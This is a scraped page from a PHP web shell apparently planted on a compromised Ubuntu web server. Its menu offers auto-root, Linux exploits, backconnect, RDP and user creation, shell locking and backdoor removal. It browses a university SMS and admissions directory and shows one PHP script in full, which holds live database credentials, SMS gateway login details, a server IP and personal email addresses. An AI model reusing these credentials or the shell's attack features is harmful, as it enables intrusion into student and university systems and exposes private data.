Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.139.239.25
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sms /
[ HOME SHELL ]
Name
Size
Permission
Action
google-api-php-client
[ DIR ]
drwxr-xr-x
kreait_firebase
[ DIR ]
drwxrwxr-x
admission_sms_push.php
2.3
KB
-rwxr-xr-x
admission_sms_push_bnu.php
2.29
KB
-rwxr-xr-x
admsumsendsms.php
6.12
KB
-rwxr-xr-x
admsumsendsms_bnu_17102018.php
8.06
KB
-rwxr-xr-x
admsumsendsms_bnu_29102018.php
12.17
KB
-rwxr-xr-x
admsumsendsms_bnu_adm_pg.php
18.03
KB
-rwxr-xr-x
admsumsendsms_bnu_wait.php
27.52
KB
-rwxr-xr-x
attDegwiseReport.php
9
KB
-rw-r--r--
cron_send_sms_interana.php
1.18
KB
-rwxr-xr-x
cronjob_sendmail.php
5.81
KB
-rwxr-xr-x
cronjob_sendsms.php
5.35
KB
-rwxr-xr-x
cronjob_sendsms_bcu_mo.php
3.18
KB
-rwxr-xr-x
cronjob_sendsms_bnu.php
3.84
KB
-rwxr-xr-x
cronjob_sendsms_bnu_old.php
2.55
KB
-rwxr-xr-x
cronjob_sendsms_dud.php
2.84
KB
-rwxr-xr-x
cronjob_sendsms_dud_mo.php
3.16
KB
-rwxr-xr-x
cronjob_sendsms_old_smssum.php
3.61
KB
-rwxr-xr-x
google-api-php-client-v2.7.1-P...
13.11
MB
-rwxr-xr-x
import_data.php
3.21
KB
-rwxr-xr-x
mail.php
459
B
-rwxr-xr-x
sendGridMail.php
1.29
KB
-rwxr-xr-x
sendnotifapi.php
5.18
KB
-rwxr-xr-x
sendsmsapi.php
759
B
-rwxr-xr-x
sendsmsapi_adm.php
6.61
KB
-rw-rw-r--
sendsmsapi_new.php
6.06
KB
-rw-r--r--
sendsmsapi_onex.php
6.84
KB
-rw-r--r--
sendsmsapi_onex_new.php
4.59
KB
-rw-r--r--
sendsmsapiv1.php
9.48
KB
-rwxr-xr-x
sendsmsapiv1_07082024.php
9.47
KB
-rwxr-xr-x
sms.php
422
B
-rwxr-xr-x
sms_statistics.php
2.99
KB
-rwxr-xr-x
sms_test.php
1.21
KB
-rw-r--r--
stud_data_push.php
1.43
KB
-rwxr-xr-x
teach_data_push.php
1.47
KB
-rwxr-xr-x
test.txt
1.44
KB
-rwxr-xr-x
test_firebase_service.php
237
B
-rwxr-xr-x
validateRegno.php
2.4
KB
-rwxr-xr-x
vskub_pget_smsstat.php
2.45
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : admsumsendsms_bnu_adm_pg.php
<?php //lib16107 lib16103 ini_set('display_errors', 'on'); include("sendsmsapi.php"); include("sendGridMail.php"); $servername = "97.74.228.93"; $username = "logisys3_logu"; $password = "Logisys@2106"; $conn = new mysqli($servername,$username,$password); if(!$conn) { die("Connection failed: " . mysqli_connect_error()); } $rgadmdb = ["logisys3_bnu", "logisys3_bcu","logisys3_dud"]; for($j=0;$j<count($rgadmdb);$j++) { $admdb = $rgadmdb[$j]; $username = 'logisyhttp'; $password = 'Logis986'; $from = 'UNISOL'; $category = 'bulk'; if($admdb == 'logisys3_dudx') { /*$query = "select a.ftotstud, a.flogincted, a.floginpend, (a.ftotstud - b.ffinsubcnt) as fregnpend, b.fregncnt, b.ffinsubcnt, b.ffinsubpendcnt, b.fackcnt, b.faprcnt, (b.fackcnt - b.faprcnt) as faprpendcnt, (a.ftotstud - b.fackcnt) as fackpend, c.fgrvcnt, c.fgrvcleared, c.fgrvpend, control.funivmobile, control.funivname, control.funivemail, date_format(now(), '%d/%m/%Y %r') as fdate from (select '1' as id, count(fmobileno) as ftotstud, sum(if(ifnull(factive,'') = 'T',1,0)) as flogincted, sum(if(ifnull(factive,'') <> 'T',1,0)) as floginpend from {$admdb}.collstud) a inner join ( select '1' as id, count(fcontact_no) as fregncnt, sum(if(ifnull(ffinsub,'') = 'T', 1, 0)) as ffinsubcnt, sum(if(ifnull(ffinsub,'') <> 'T', 1, 0)) as ffinsubpendcnt, sum(if(ifnull(fappstatus,'') = 'verified', 1, 0)) as fackcnt, sum(if(ifnull(fapprstatus,'') = 'approved', 1, 0)) as faprcnt from {$admdb}.studadm) b on a.id = b.id inner join (select '1' as id, count(*) as fgrvcnt, sum(if(ifnull(fgrvstatus,'') = 'C',1,0)) as fgrvcleared, sum(if(ifnull(fgrvstatus,'') <> 'C',1,0)) as fgrvpend from logisys3_grv.grvhead g inner join logisys3_grv.masuniv m on m.funivcode = g.funivcode where m.fdbname = '{$admdb}') c on b.id = c.id inner join {$admdb}.control"; $result = mysqli_query($conn,$query); $count = mysqli_num_rows($result); if($count >0) { $i = 0; $row = mysqli_fetch_assoc($result); $to = $row['funivmobile']; $text = "{$row['funivname']}, Admission Statistics Total Students Data Recieved from Colleges : {$row['ftotstud']}".chr(13)." Students registered in the portal : {$row['flogincted']}".chr(13)." Admission registration completed : {$row['ffinsubcnt']}".chr(13)." Admission registration pending : {$row['fregnpend']}".chr(13)." Acknowledgement Done by Colleges : {$row['fackcnt']}".chr(13)." Acknowledgement Pending by Colleges : {$row['fackpend']}".chr(13)." Approval Done : {$row['faprcnt']}".chr(13)." Approval Pending : {$row['faprpendcnt']}".chr(13)." Grievance received from students : {$row['fgrvcnt']}".chr(13)." Grievance cleared / answered : {$row['fgrvcleared']}"; // var_dump($text); $smsresp = sendsmaapi($username,$password,$from,$to,$text,$category); // var_dump($smsresp); $table = '<center><h2>'.$row['funivname'].'<br> Admission Statistics as on '.$row['fdate'].'</center></h2><center><table style="margin-left:2px;text-align: left;width: 60%;font-size:14px;margin: auto;" align-self="middle" cellspacing="1" cellpadding="5" border="0" align="center" bgcolor="#505151"> <thead> <tr style = "background-color:#8acc51"> <th width="8%"><center>Sl. No.</center></th> <th><center>Title</center></th> <th width="15%"><center>Count</center></th> </tr> </thead>'; $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>Total Students Data Recieved from Colleges</td>"; $table .= "<td align='right'>".moneyFormatIndia( $row['ftotstud'])."</td>"; $table .= "</tr>"; $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>Students registered in the portal</td>"; $table .= "<td align='right'>".moneyFormatIndia($row['flogincted'])."</td>"; $table .= "</tr>"; $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>Admission registration completed</td>"; $table .= "<td align='right'>".moneyFormatIndia($row['ffinsubcnt'])."</td>"; $table .= "</tr>"; $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>Admission registration pending </td>"; $table .= "<td align='right'>".moneyFormatIndia($row['fregnpend'])."</td>"; $table .= "</tr>"; $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>Acknowledgement Done by Colleges</td>"; $table .= "<td align='right'>".moneyFormatIndia($row['fackcnt'])."</td>"; $table .= "</tr>"; $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>Acknowledgement Pending by Colleges</td>"; $table .= "<td align='right'>".moneyFormatIndia($row['fackpend'])."</td>"; $table .= "</tr>"; $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>Approval Done</td>"; $table .= "<td align='right'>".moneyFormatIndia($row['faprcnt'])."</td>"; $table .= "</tr>"; $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>Approval Pending</td>"; $table .= "<td align='right'>".moneyFormatIndia($row['faprpendcnt'])."</td>"; $table .= "</tr>"; $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>Grievance received from students</td>"; $table .= "<td align='right'>".moneyFormatIndia($row['fgrvcnt'])."</td>"; $table .= "</tr>"; $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>Grievance cleared / answered</td>"; $table .= "<td align='right'>".moneyFormatIndia($row['fgrvcleared'])."</td>"; $table .= "</tr>"; $table.="</table></center>"; $subject = "{$row['funivname']} Admission Statistics as on ".$row['fdate']; echo $table; // $emails = ['prashanth.k@logisys.org','arun.v@logisys.org', 'mohanlyrix@gmail.com', 'hnnagaraj@lordshire.com', 'hnramesh@logisys.org', 'nausheen@lordshire.com']; $emails = explode(',', $row['funivemail']); // var_dump($emails); $cc = ''; for($i=0;$i< count($emails); $i++) { $emailid = $emails[$i]; $resp = sendGridMail($emailid,$subject,$table,''); echo $resp; } } */ } else { $query = "select funivcode from logisys3_comexam.dbname where fdbname = '{$admdb}'"; $result = mysqli_query($conn,$query); $row3 = mysqli_fetch_assoc($result); $funivcode = $row3['funivcode']; $query = "select a.admcnt, logcnt,totstud,(totstud-logcnt) as pendcnt ,fgrvcnt,fgrvcleared,fgrvpend,control.funivmobile, control.funivname, control.funivemail, date_format(now(), '%d/%m/%Y %r') as fdate from (select '1' as id, COUNT(*) as admcnt from {$admdb}.studadm where IFNULL(fcollcode,'') <> '' and IFNULL(fdegree,'') <> '') a inner join (select '1' as id, COUNT(*) as logcnt from logisys3_comexam.masuser where funivcode = '{$funivcode}' and factive = 'T' ) b on a.id = b.id inner join (select '1' as id, COUNT(*) as totstud from logisys3_comexam.pushstud where funivcode = '{$funivcode}') c on a.id = c.id inner join (select '1' as id, COUNT(*) as fgrvcnt, SUM(IF(IFNULL(fgrvstatus,'') = 'C',1,0)) as fgrvcleared, SUM(IF(IFNULL(fgrvstatus,'') <> 'C',1,0)) as fgrvpend from logisys3_grv.grvhead g inner join logisys3_grv.masuniv m on m.funivcode = g.funivcode where m.fdbname = '{$admdb}') d on a.id = d.id inner join {$admdb}.control"; // var_dump($query); die(); $result = mysqli_query($conn,$query); $i = 0; $row = mysqli_fetch_assoc($result); $query2 = "select count(fregno) as totcnt, if( date_format(now(),'%Y-%m-%d') <= fappto and date_format(now(),'%Y-%m-%d') >= fappfrom, 'T', 'F' ) as lasdate, sum(if(fpaymentype = 'College Bank', 1, 0)) as clgcnt, sum(if(fpaymentype = 'POSTOFFICE', 1, 0)) as postcnt, sum(if(fpaymentype = 'Other Banks', 1, 0)) as othcnt, sum(if(fpaymentype = 'College Bank' and fpaymentstatus = 'success', 1, 0)) as clgackcnt, sum(if(fpaymentype = 'POSTOFFICE' and fpaymentstatus = 'success', 1, 0)) as postackcnt, sum(if(fpaymentype = 'Other Banks' and fpaymentstatus = 'success', 1, 0)) as othackcnt, sum(if(fpaymentstatus = 'success', 1, 0)) as totackcnt from (select fcollcode, fdegree, fexamno, fregno, fpaymentype, fpaymentstatus from {$admdb}.appcandsum group by fregno, fpaymentstatus) a inner join {$admdb}.collexam c on a.fcollcode = c.fcollcode and c.fdegree = a.fdegree and c.fexamno = a.fexamno"; $result2 = mysqli_query($conn,$query2); $row2 = mysqli_fetch_assoc($result2); $pr_sum_query = "select sum(ftotbatch) as ftotbatch,sum(fdailybatch) as fdailybatch, sum(fdailyfreezebatch) as fdailyfreezebatch, sum(ffreezedbatch) as ffreezedbatch, sum(ftotbatch) - sum(ffreezedbatch) as fpendbatch from (select a.fcollcode, a.ftotbatch, ifnull(b.fdailybatch,0) as fdailybatch, ifnull(b.fdailyfreezebatch,0) as fdailyfreezebatch, ifnull(ffreezedbatch,0) as ffreezedbatch from (select fcollcode, count(fbatch) as ftotbatch, sum(if(ifnull(ffreezed, '') = 'T', 1, 0)) as ffreezedbatch from {$admdb}.practical_entry_freeze group by fcollcode) a left join (select fcollcode, count(fbatch) as fdailybatch, sum(if(ifnull(ffreezed, '') = 'T', 1, 0)) as fdailyfreezebatch from {$admdb}.practical_entry_freeze where date_format(now(),'%Y-%m-%d') = date_format(fexamdate,'%Y-%m-%d') group by fcollcode) b on a.fcollcode = b.fcollcode where a.fcollcode in (select distinct fcollcode from {$admdb}.collexam where now() between fprfrom and ADDDATE(fprto, INTERVAL 5 DAY))) x"; // var_dump($pr_sum_query); $pr_sum_res = mysqli_query($conn, $pr_sum_query); $pr_sum_resset = mysqli_fetch_assoc($pr_sum_res); $to = $row['funivmobile']; $text = "{$row['funivname']}, Statistics Students registered in the Portal : {$row['logcnt']},"; if($row2['lasdate'] == 'T') { $text .= "Students Applied for Exam : {$row2['totcnt']}, Post office : {$row2['postcnt']}, College bank : {$row2['clgcnt']}, Payment Gateway : {$row2['othcnt']},"; } if($admdb == "logisys3_bcu" || $admdb == "logisys3_bnu") { $scr_stat = "select ifnull(fdeggrp,'') as fdeggrp, sum(fspresent) as fscrsent, sum(fcodecount) as fscrcode, sum(ftotpkt1) as fpktcnt, sum(fvalpkt1) as fvalcnt, sum(ftotpkt1) - sum(fvalpkt1) as fvalpendcnt from {$admdb}.masqp where ifnull(fboard,'') <> '' and date_format(now(),'%Y-%m-%d') between '2018-12-12' and date_add('2018-12-27',interval 20 day) group by fdeggrp"; $scr_stat_res = mysqli_query($conn, $scr_stat); $scr_stat_resset = mysqli_fetch_assoc($scr_stat_res); $text .= "Answer Script Received: {$scr_stat_resset['fscrsent']},"; $text .= "Answer Script Coded: {$scr_stat_resset['fscrcode']},"; $text .= "Total Packets: {$scr_stat_resset['fpktcnt']},"; $text .= "Packets valued: {$scr_stat_resset['fvalcnt']},"; $text .= "Packets valuation pending: {$scr_stat_resset['fvalpendcnt']},"; } $text .= "Exam Fee Payment done : {$row2['totackcnt']},"; $text .= "Answer Script Recieved : {$row2['totackcnt']},"; if($pr_sum_resset['fdailybatch'] > 0) { $text .= "Practical batches created : {$pr_sum_resset['ftotbatch']} (till now)/ {$pr_sum_resset['fdailybatch']} (current today), Practical batches Freezed : {$pr_sum_resset['ffreezedbatch']} (till now)/ {$pr_sum_resset['fdailyfreezebatch']} (current today), Practiacl batches pending : {$pr_sum_resset['fpendbatch']},"; } $text .= "Grievance received : {$row['fgrvcnt']}, Grievance cleared / answered : {$row['fgrvcleared']}"; print_r($text); $smsresp = sendsmaapi($username,$password,$from,$to,$text,$category); // continue; $table = '<center><h2>'.$row['funivname'].'<br> Statistics as on '.$row['fdate'].'</center></h2><center><table style="margin-left:2px;text-align: left;width: 60%;font-size:14px;margin: auto;" align-self="middle" cellspacing="1" cellpadding="5" border="0" align="center" bgcolor="#505151"> <thead> <tr style = "background-color:#8acc51"> <th width="8%"><center>Sl. No.</center></th> <th><center>Title</center></th> <th width="35%"><center>Count</center></th> </tr> </thead>'; $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>Students registered in the Portal</td>"; $table .= "<td align='right'>".moneyFormatIndia($row['logcnt'])."</td>"; $table .= "</tr>"; if($row2['lasdate'] == 'T') { $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>Students Applied for Exam</td>"; $table .= "<td align='right'>".moneyFormatIndia($row2['totcnt'])."</td>"; $table .= "</tr>"; $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>Post office </td>"; $table .= "<td align='right'>".moneyFormatIndia($row2['postcnt'])."</td>"; $table .= "</tr>"; $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>College bank</td>"; $table .= "<td align='right'>".moneyFormatIndia($row2['clgcnt'])."</td>"; $table .= "</tr>"; $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>Payment Gateway</td>"; $table .= "<td align='right'>".moneyFormatIndia($row2['othcnt'])."</td>"; $table .= "</tr>"; } $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>Exam Fee Payment done</td>"; $table .= "<td align='right'>".moneyFormatIndia($row2['totackcnt'])."</td>"; $table .= "</tr>"; if($pr_sum_resset['fdailybatch'] > 0) { $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>Practical batches created</td>"; $table .= "<td align='right'>".$pr_sum_resset['ftotbatch']."(till now) / ".$pr_sum_resset['fdailybatch']."(current today)</td>"; $table .= "</tr>"; $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>Practical batches Freezed</td>"; $table .= "<td align='right'>".$pr_sum_resset['ffreezedbatch']."(till now) / ".$pr_sum_resset['fdailyfreezebatch']."(current today)</td>"; $table .= "</tr>"; $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>Practiacl batches pending</td>"; $table .= "<td align='right'>".moneyFormatIndia($pr_sum_resset['fpendbatch'])."</td>"; $table .= "</tr>"; } if($admdb == "logisys3_bcu" || $admdb == "logisys3_bnu") { $text .= "Answer Script Received: {$scr_stat_resset['fscrsent']},"; $text .= "Answer Script Coded: {$scr_stat_resset['fscrcode']},"; $text .= "Total Packets: {$scr_stat_resset['fpktcnt']},"; $text .= "Packets valued: {$scr_stat_resset['fvalcnt']},"; $text .= "Packets valuation pending: {$scr_stat_resset['fvalpendcnt']},"; $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>Answer Script Received</td>"; $table .= "<td align='right'>".moneyFormatIndia($scr_stat_resset['fscrsent'])."</td>"; $table .= "</tr>"; $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>Answer Script Coded</td>"; $table .= "<td align='right'>".moneyFormatIndia($scr_stat_resset['fscrcode'])."</td>"; $table .= "</tr>"; $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>Total Packets</td>"; $table .= "<td align='right'>".moneyFormatIndia($scr_stat_resset['fpktcnt'])."</td>"; $table .= "</tr>"; $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>Packets valued</td>"; $table .= "<td align='right'>".moneyFormatIndia($scr_stat_resset['fvalcnt'])."</td>"; $table .= "</tr>"; $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>Packets valuation pending</td>"; $table .= "<td align='right'>".moneyFormatIndia($scr_stat_resset['fvalpendcnt'])."</td>"; $table .= "</tr>"; } $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>Grievance received from students</td>"; $table .= "<td align='right'>".moneyFormatIndia($row['fgrvcnt'])."</td>"; $table .= "</tr>"; $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".++$i."</center></td>"; $table .= "<td>Grievance cleared / answered</td>"; $table .= "<td align='right'>".moneyFormatIndia($row['fgrvcleared'])."</td>"; $table .= "</tr>"; $table.="</table></center>"; $subject = "{$row['funivname']} Statistics as on ".$row['fdate']; echo $table; // $emails = ['prashanth.k@logisys.org','arun.v@logisys.org', 'mohanlyrix@gmail.com', 'hnnagaraj@lordshire.com', 'hnramesh@logisys.org', 'nausheen@lordshire.com']; $emails = explode(',', $row['funivemail']); // var_dump($emails); $cc = ''; for($i=0;$i< count($emails); $i++) { $emailid = $emails[$i]; $resp = sendGridMail($emailid,$subject,$table,''); // echo $resp; } } } function moneyFormatIndia($num) { $explrestunits = "" ; if(strlen($num)>3) { $lastthree = substr($num, strlen($num)-3, strlen($num)); $restunits = substr($num, 0, strlen($num)-3); // extracts the last three digits $restunits = (strlen($restunits)%2 == 1)?"0".$restunits:$restunits; // explodes the remaining digits in 2's formats, adds a zero in the beginning to maintain the 2's grouping. $expunit = str_split($restunits, 2); for($i=0; $i<sizeof($expunit); $i++) { // creates each of the 2's group and adds a comma to the end if($i==0) { $explrestunits .= (int)$expunit[$i].","; // if is first value , convert into integer } else { $explrestunits .= $expunit[$i].","; } } $thecash = $explrestunits.$lastthree; } else { $thecash = $num; } return $thecash; // writes the final format where $currency is the currency symbol. } ?>
Close